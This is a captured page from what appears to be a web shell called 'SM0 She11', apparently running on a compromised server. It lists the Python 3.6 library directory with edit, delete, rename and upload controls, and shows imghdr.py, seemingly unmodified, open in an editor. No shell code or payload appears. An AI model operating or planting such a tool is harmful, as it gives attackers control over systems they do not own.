SM0 She11
Path:
/
/
usr
/
lib64
/
python3.6
Full Path (server): /usr/lib64/python3.6
Create Fil3
Upl04d Fil3
📄 __future__.py
[E]
[D]
[R]
📄 __phello__.foo.py
[E]
[D]
[R]
📁 __pycache__
Open
[D]
[R]
📄 _bootlocale.py
[E]
[D]
[R]
📄 _collections_abc.py
[E]
[D]
[R]
📄 _compat_pickle.py
[E]
[D]
[R]
📄 _compression.py
[E]
[D]
[R]
📄 _dummy_thread.py
[E]
[D]
[R]
📄 _markupbase.py
[E]
[D]
[R]
📄 _osx_support.py
[E]
[D]
[R]
📄 _pydecimal.py
[E]
[D]
[R]
📄 _pyio.py
[E]
[D]
[R]
📄 _sitebuiltins.py
[E]
[D]
[R]
📄 _strptime.py
[E]
[D]
[R]
📄 _sysconfigdata_dm_linux_x86_64-linux-gnu.py
[E]
[D]
[R]
📄 _sysconfigdata_m_linux_x86_64-linux-gnu.py
[E]
[D]
[R]
📄 _threading_local.py
[E]
[D]
[R]
📄 _weakrefset.py
[E]
[D]
[R]
📄 abc.py
[E]
[D]
[R]
📄 aifc.py
[E]
[D]
[R]
📄 antigravity.py
[E]
[D]
[R]
📄 argparse.py
[E]
[D]
[R]
📄 ast.py
[E]
[D]
[R]
📄 asynchat.py
[E]
[D]
[R]
📁 asyncio
Open
[D]
[R]
📄 asyncore.py
[E]
[D]
[R]
📄 base64.py
[E]
[D]
[R]
📄 bdb.py
[E]
[D]
[R]
📄 binhex.py
[E]
[D]
[R]
📄 bisect.py
[E]
[D]
[R]
📄 bz2.py
[E]
[D]
[R]
📄 cProfile.py
[E]
[D]
[R]
📄 calendar.py
[E]
[D]
[R]
📄 cgi.py
[E]
[D]
[R]
📄 cgitb.py
[E]
[D]
[R]
📄 chunk.py
[E]
[D]
[R]
📄 cmd.py
[E]
[D]
[R]
📄 code.py
[E]
[D]
[R]
📄 codecs.py
[E]
[D]
[R]
📄 codeop.py
[E]
[D]
[R]
📁 collections
Open
[D]
[R]
📄 colorsys.py
[E]
[D]
[R]
📄 compileall.py
[E]
[D]
[R]
📁 concurrent
Open
[D]
[R]
📁 config-3.6m-x86_64-linux-gnu
Open
[D]
[R]
📄 configparser.py
[E]
[D]
[R]
📄 contextlib.py
[E]
[D]
[R]
📄 copy.py
[E]
[D]
[R]
📄 copyreg.py
[E]
[D]
[R]
📄 crypt.py
[E]
[D]
[R]
📄 csv.py
[E]
[D]
[R]
📁 ctypes
Open
[D]
[R]
📁 curses
Open
[D]
[R]
📄 datetime.py
[E]
[D]
[R]
📁 dbm
Open
[D]
[R]
📄 decimal.py
[E]
[D]
[R]
📄 difflib.py
[E]
[D]
[R]
📄 dis.py
[E]
[D]
[R]
📁 distutils
Open
[D]
[R]
📄 doctest.py
[E]
[D]
[R]
📄 dummy_threading.py
[E]
[D]
[R]
📁 email
Open
[D]
[R]
📁 encodings
Open
[D]
[R]
📁 ensurepip
Open
[D]
[R]
📄 enum.py
[E]
[D]
[R]
📄 filecmp.py
[E]
[D]
[R]
📄 fileinput.py
[E]
[D]
[R]
📄 fnmatch.py
[E]
[D]
[R]
📄 formatter.py
[E]
[D]
[R]
📄 fractions.py
[E]
[D]
[R]
📄 ftplib.py
[E]
[D]
[R]
📄 functools.py
[E]
[D]
[R]
📄 genericpath.py
[E]
[D]
[R]
📄 getopt.py
[E]
[D]
[R]
📄 getpass.py
[E]
[D]
[R]
📄 gettext.py
[E]
[D]
[R]
📄 glob.py
[E]
[D]
[R]
📄 gzip.py
[E]
[D]
[R]
📄 hashlib.py
[E]
[D]
[R]
📄 heapq.py
[E]
[D]
[R]
📄 hmac.py
[E]
[D]
[R]
📁 html
Open
[D]
[R]
📁 http
Open
[D]
[R]
📄 imaplib.py
[E]
[D]
[R]
📄 imghdr.py
[E]
[D]
[R]
📄 imp.py
[E]
[D]
[R]
📁 importlib
Open
[D]
[R]
📄 inspect.py
[E]
[D]
[R]
📄 io.py
[E]
[D]
[R]
📄 ipaddress.py
[E]
[D]
[R]
📁 json
Open
[D]
[R]
📄 keyword.py
[E]
[D]
[R]
📁 lib-dynload
Open
[D]
[R]
📁 lib2to3
Open
[D]
[R]
📄 linecache.py
[E]
[D]
[R]
📄 locale.py
[E]
[D]
[R]
📁 logging
Open
[D]
[R]
📄 lzma.py
[E]
[D]
[R]
📄 macpath.py
[E]
[D]
[R]
📄 macurl2path.py
[E]
[D]
[R]
📄 mailbox.py
[E]
[D]
[R]
📄 mailcap.py
[E]
[D]
[R]
📄 mimetypes.py
[E]
[D]
[R]
📄 modulefinder.py
[E]
[D]
[R]
📁 multiprocessing
Open
[D]
[R]
📄 netrc.py
[E]
[D]
[R]
📄 nntplib.py
[E]
[D]
[R]
📄 ntpath.py
[E]
[D]
[R]
📄 nturl2path.py
[E]
[D]
[R]
📄 numbers.py
[E]
[D]
[R]
📄 opcode.py
[E]
[D]
[R]
📄 operator.py
[E]
[D]
[R]
📄 optparse.py
[E]
[D]
[R]
📄 os.py
[E]
[D]
[R]
📄 pathlib.py
[E]
[D]
[R]
📄 pdb.py
[E]
[D]
[R]
📄 pickle.py
[E]
[D]
[R]
📄 pickletools.py
[E]
[D]
[R]
📄 pipes.py
[E]
[D]
[R]
📄 pkgutil.py
[E]
[D]
[R]
📄 platform.py
[E]
[D]
[R]
📄 plistlib.py
[E]
[D]
[R]
📄 poplib.py
[E]
[D]
[R]
📄 posixpath.py
[E]
[D]
[R]
📄 pprint.py
[E]
[D]
[R]
📄 profile.py
[E]
[D]
[R]
📄 pstats.py
[E]
[D]
[R]
📄 pty.py
[E]
[D]
[R]
📄 py_compile.py
[E]
[D]
[R]
📄 pyclbr.py
[E]
[D]
[R]
📄 pydoc.py
[E]
[D]
[R]
📁 pydoc_data
Open
[D]
[R]
📄 queue.py
[E]
[D]
[R]
📄 quopri.py
[E]
[D]
[R]
📄 random.py
[E]
[D]
[R]
📄 re.py
[E]
[D]
[R]
📄 reprlib.py
[E]
[D]
[R]
📄 rlcompleter.py
[E]
[D]
[R]
📄 runpy.py
[E]
[D]
[R]
📄 sched.py
[E]
[D]
[R]
📄 secrets.py
[E]
[D]
[R]
📄 selectors.py
[E]
[D]
[R]
📄 shelve.py
[E]
[D]
[R]
📄 shlex.py
[E]
[D]
[R]
📄 shutil.py
[E]
[D]
[R]
📄 signal.py
[E]
[D]
[R]
📁 site-packages
Open
[D]
[R]
📄 site.py
[E]
[D]
[R]
📄 smtpd.py
[E]
[D]
[R]
📄 smtplib.py
[E]
[D]
[R]
📄 sndhdr.py
[E]
[D]
[R]
📄 socket.py
[E]
[D]
[R]
📄 socketserver.py
[E]
[D]
[R]
📁 sqlite3
Open
[D]
[R]
📄 sre_compile.py
[E]
[D]
[R]
📄 sre_constants.py
[E]
[D]
[R]
📄 sre_parse.py
[E]
[D]
[R]
📄 ssl.py
[E]
[D]
[R]
📄 stat.py
[E]
[D]
[R]
📄 statistics.py
[E]
[D]
[R]
📄 string.py
[E]
[D]
[R]
📄 stringprep.py
[E]
[D]
[R]
📄 struct.py
[E]
[D]
[R]
📄 subprocess.py
[E]
[D]
[R]
📄 sunau.py
[E]
[D]
[R]
📄 symbol.py
[E]
[D]
[R]
📄 symtable.py
[E]
[D]
[R]
📄 sysconfig.py
[E]
[D]
[R]
📄 tabnanny.py
[E]
[D]
[R]
📄 tarfile.py
[E]
[D]
[R]
📄 telnetlib.py
[E]
[D]
[R]
📄 tempfile.py
[E]
[D]
[R]
📁 test
Open
[D]
[R]
📄 textwrap.py
[E]
[D]
[R]
📄 this.py
[E]
[D]
[R]
📄 threading.py
[E]
[D]
[R]
📄 timeit.py
[E]
[D]
[R]
📄 token.py
[E]
[D]
[R]
📄 tokenize.py
[E]
[D]
[R]
📄 trace.py
[E]
[D]
[R]
📄 traceback.py
[E]
[D]
[R]
📄 tracemalloc.py
[E]
[D]
[R]
📄 tty.py
[E]
[D]
[R]
📄 types.py
[E]
[D]
[R]
📄 typing.py
[E]
[D]
[R]
📁 unittest
Open
[D]
[R]
📁 urllib
Open
[D]
[R]
📄 uu.py
[E]
[D]
[R]
📄 uuid.py
[E]
[D]
[R]
📁 venv
Open
[D]
[R]
📄 warnings.py
[E]
[D]
[R]
📄 wave.py
[E]
[D]
[R]
📄 weakref.py
[E]
[D]
[R]
📄 webbrowser.py
[E]
[D]
[R]
📁 wsgiref
Open
[D]
[R]
📄 xdrlib.py
[E]
[D]
[R]
📁 xml
Open
[D]
[R]
📁 xmlrpc
Open
[D]
[R]
📄 zipapp.py
[E]
[D]
[R]
📄 zipfile.py
[E]
[D]
[R]
Editing: imghdr.py
"""Recognize image file formats based on their first few bytes.""" from os import PathLike __all__ = ["what"] #-------------------------# # Recognize image headers # #-------------------------# def what(file, h=None): f = None try: if h is None: if isinstance(file, (str, PathLike)): f = open(file, 'rb') h = f.read(32) else: location = file.tell() h = file.read(32) file.seek(location) for tf in tests: res = tf(h, f) if res: return res finally: if f: f.close() return None #---------------------------------# # Subroutines per image file type # #---------------------------------# tests = [] def test_jpeg(h, f): """JPEG data in JFIF or Exif format""" if h[6:10] in (b'JFIF', b'Exif'): return 'jpeg' tests.append(test_jpeg) def test_png(h, f): if h.startswith(b'\211PNG\r\n\032\n'): return 'png' tests.append(test_png) def test_gif(h, f): """GIF ('87 and '89 variants)""" if h[:6] in (b'GIF87a', b'GIF89a'): return 'gif' tests.append(test_gif) def test_tiff(h, f): """TIFF (can be in Motorola or Intel byte order)""" if h[:2] in (b'MM', b'II'): return 'tiff' tests.append(test_tiff) def test_rgb(h, f): """SGI image library""" if h.startswith(b'\001\332'): return 'rgb' tests.append(test_rgb) def test_pbm(h, f): """PBM (portable bitmap)""" if len(h) >= 3 and \ h[0] == ord(b'P') and h[1] in b'14' and h[2] in b' \t\n\r': return 'pbm' tests.append(test_pbm) def test_pgm(h, f): """PGM (portable graymap)""" if len(h) >= 3 and \ h[0] == ord(b'P') and h[1] in b'25' and h[2] in b' \t\n\r': return 'pgm' tests.append(test_pgm) def test_ppm(h, f): """PPM (portable pixmap)""" if len(h) >= 3 and \ h[0] == ord(b'P') and h[1] in b'36' and h[2] in b' \t\n\r': return 'ppm' tests.append(test_ppm) def test_rast(h, f): """Sun raster file""" if h.startswith(b'\x59\xA6\x6A\x95'): return 'rast' tests.append(test_rast) def test_xbm(h, f): """X bitmap (X10 or X11)""" if h.startswith(b'#define '): return 'xbm' tests.append(test_xbm) def test_bmp(h, f): if h.startswith(b'BM'): return 'bmp' tests.append(test_bmp) def test_webp(h, f): if h.startswith(b'RIFF') and h[8:12] == b'WEBP': return 'webp' tests.append(test_webp) def test_exr(h, f): if h.startswith(b'\x76\x2f\x31\x01'): return 'exr' tests.append(test_exr) #--------------------# # Small test program # #--------------------# def test(): import sys recursive = 0 if sys.argv[1:] and sys.argv[1] == '-r': del sys.argv[1:2] recursive = 1 try: if sys.argv[1:]: testall(sys.argv[1:], recursive, 1) else: testall(['.'], recursive, 1) except KeyboardInterrupt: sys.stderr.write('\n[Interrupted]\n') sys.exit(1) def testall(list, recursive, toplevel): import sys import os for filename in list: if os.path.isdir(filename): print(filename + '/:', end=' ') if recursive or toplevel: print('recursing down:') import glob names = glob.glob(os.path.join(filename, '*')) testall(names, recursive, 0) else: print('*** directory (use -r) ***') else: print(filename + ':', end=' ') sys.stdout.flush() try: print(what(filename)) except OSError: print('*** not found ***') if __name__ == '__main__': test()
Save